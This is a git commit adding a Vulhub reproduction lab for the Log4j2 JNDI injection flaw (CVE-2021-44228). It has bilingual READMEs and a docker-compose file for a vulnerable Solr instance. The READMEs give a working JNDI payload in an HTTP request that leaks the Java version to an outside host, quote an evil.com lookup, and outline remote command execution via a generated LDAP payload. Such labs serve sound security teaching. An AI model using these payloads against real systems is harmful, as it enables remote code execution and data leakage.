first commit
Some checks failed
Vulhub Format Check and Lint / format-check (push) Has been cancelled
Vulhub Format Check and Lint / markdown-check (push) Has been cancelled
Vulhub Docker Image CI / longtime-images-test (push) Has been cancelled
Vulhub Docker Image CI / images-test (push) Has been cancelled
Some checks failed
Vulhub Format Check and Lint / format-check (push) Has been cancelled
Vulhub Format Check and Lint / markdown-check (push) Has been cancelled
Vulhub Docker Image CI / longtime-images-test (push) Has been cancelled
Vulhub Docker Image CI / images-test (push) Has been cancelled
This commit is contained in:
BIN
log4j/CVE-2021-44228/1.png
Normal file
BIN
log4j/CVE-2021-44228/1.png
Normal file
Binary file not shown.
After Width: | Height: | Size: 96 KiB |
BIN
log4j/CVE-2021-44228/2.png
Normal file
BIN
log4j/CVE-2021-44228/2.png
Normal file
Binary file not shown.
After Width: | Height: | Size: 171 KiB |
BIN
log4j/CVE-2021-44228/3.png
Normal file
BIN
log4j/CVE-2021-44228/3.png
Normal file
Binary file not shown.
After Width: | Height: | Size: 53 KiB |
55
log4j/CVE-2021-44228/README.md
Normal file
55
log4j/CVE-2021-44228/README.md
Normal file
@@ -0,0 +1,55 @@
|
||||
# Apache Log4j2 lookup feature JNDI injection (CVE-2021-44228)
|
||||
|
||||
[中文版本(Chinese version)](README.zh-cn.md)
|
||||
|
||||
Apache Log4j 2 is an upgrade to Log4j that provides significant improvements over its predecessor, Log4j 1.x, and provides many of the improvements available in Logback while fixing some inherent problems in Logback's architecture.
|
||||
|
||||
On Dec 2021, a 0-day exploit in the Apache Log4j2 was discovered. Log4j’s JNDI support has not restricted what names could be resolved. Some protocols like `rmi:` and `ldap:` are unsafe or can allow remote code execution.
|
||||
|
||||
References:
|
||||
|
||||
- https://logging.apache.org/log4j/2.x/security.html
|
||||
- https://www.lunasec.io/docs/blog/log4j-zero-day/
|
||||
- https://xz.aliyun.com/t/10649
|
||||
|
||||
## Vulnerability Environment
|
||||
|
||||
Apache Log4j2 is not a certain web service, it is just a third-party library, so we can use a application that depend on Log4j2 to demonstrate how to exploit this vulnerability.
|
||||
|
||||
Execute following command to start a Apache Solr 8.11.0, which use Log4j 2.14.1:
|
||||
|
||||
```
|
||||
docker compose up -d
|
||||
```
|
||||
|
||||
After server start, browse `http://your-ip:8983` to see the admin portal of Apache Solr.
|
||||
|
||||
## Exploit
|
||||
|
||||
Simply, put the payload `${jndi:dns://${sys:java.version}.example.com}` as the admin action that can trigger the JNDI query.
|
||||
|
||||
```
|
||||
GET /solr/admin/cores?action=${jndi:ldap://${sys:java.version}.example.com} HTTP/1.1
|
||||
Host: your-ip:8983
|
||||
Accept-Encoding: gzip, deflate
|
||||
Accept: */*
|
||||
Accept-Language: en
|
||||
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
|
||||
Connection: close
|
||||
|
||||
|
||||
```
|
||||
|
||||
Query will be shown at the DNS log:
|
||||
|
||||

|
||||
|
||||
Because the target JDK version is below 8u191, we can use `rmi://` or `ldap://` to run the Java bytecode directly.
|
||||
|
||||
For vulnerability exploitation, you can use the [Java Chains](https://github.com/vulhub/java-chains). First, visit the [Quick Start](https://java-chains.vulhub.org/docs/guide) page to set up Java Chains. Then, follow the [JNDI Basic Exploitation Guide](https://java-chains.vulhub.org/docs/module/jndi#jndibasicpayload) to configure the command `touch /tmp/success` and generate a JNDI LDAP URL Payload. Finally, replace the payload in the previous HTTP request to successfully exploit the vulnerability.
|
||||
|
||||

|
||||
|
||||
As you can see, `touch /tmp/success` is succesful executed:
|
||||
|
||||

|
53
log4j/CVE-2021-44228/README.zh-cn.md
Normal file
53
log4j/CVE-2021-44228/README.zh-cn.md
Normal file
@@ -0,0 +1,53 @@
|
||||
# Apache Log4j2 lookup JNDI 注入漏洞(CVE-2021-44228)
|
||||
|
||||
[中文版本(Chinese version)](README.zh-cn.md)
|
||||
|
||||
Apache Log4j 2 是Java语言的日志处理套件,使用极为广泛。在其2.0到2.14.1版本中存在一处JNDI注入漏洞,攻击者在可以控制日志内容的情况下,通过传入类似于`${jndi:ldap://evil.com/example}`的lookup用于进行JNDI注入,执行任意代码。
|
||||
|
||||
参考链接:
|
||||
|
||||
- https://logging.apache.org/log4j/2.x/security.html
|
||||
- https://www.lunasec.io/docs/blog/log4j-zero-day/
|
||||
- https://xz.aliyun.com/t/10649
|
||||
|
||||
## 漏洞环境
|
||||
|
||||
Apache Log4j2 不是一个特定的Web服务,而仅仅是一个第三方库,我们可以通过找到一些使用了这个库的应用来复现这个漏洞,比如Apache Solr。
|
||||
|
||||
执行如下命令启动一个Apache Solr 8.11.0,其依赖了Log4j 2.14.1:
|
||||
|
||||
```
|
||||
docker compose up -d
|
||||
```
|
||||
|
||||
服务启动后,访问`http://your-ip:8983`即可查看到Apache Solr的后台页面。
|
||||
|
||||
## 漏洞复现
|
||||
|
||||
`${jndi:dns://${sys:java.version}.example.com}`是利用JNDI发送DNS请求的Payload,我们将其作为管理员接口的action参数值发送如下数据包:
|
||||
|
||||
```
|
||||
GET /solr/admin/cores?action=${jndi:ldap://${sys:java.version}.example.com} HTTP/1.1
|
||||
Host: your-ip:8983
|
||||
Accept-Encoding: gzip, deflate
|
||||
Accept: */*
|
||||
Accept-Language: en
|
||||
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
|
||||
Connection: close
|
||||
|
||||
|
||||
```
|
||||
|
||||
我们可以在DNS日志平台收到相关日志,显示出当前Java版本:
|
||||
|
||||

|
||||
|
||||
因为目标JDK版本低于8u191,所以我们可以使用`rmi://`或`ldap://`来直接执行Java字节码。
|
||||
|
||||
你可以使用 [Java Chains](https://github.com/vulhub/java-chains) 来进行漏洞复现。首先,访问 [快速入手](https://java-chains.vulhub.org/zh/docs/guide) 启动 Java Chains,然后参考 [JNDI Basic 利用指南](https://java-chains.vulhub.org/zh/docs/module/jndi#jndibasicpayload) 设置要执行的命令为 `touch /tmp/success` 并生成 JNDI LDAP URL Payload,最后将其替换进上面的数据包中来利用漏洞:
|
||||
|
||||

|
||||
|
||||
利用完毕后,可见`touch /tmp/success`已经成功被执行:
|
||||
|
||||

|
7
log4j/CVE-2021-44228/docker-compose.yml
Normal file
7
log4j/CVE-2021-44228/docker-compose.yml
Normal file
@@ -0,0 +1,7 @@
|
||||
version: '2'
|
||||
services:
|
||||
solr:
|
||||
image: vulhub/solr:8.11.0
|
||||
ports:
|
||||
- "8983:8983"
|
||||
- "5005:5005"
|
Reference in New Issue
Block a user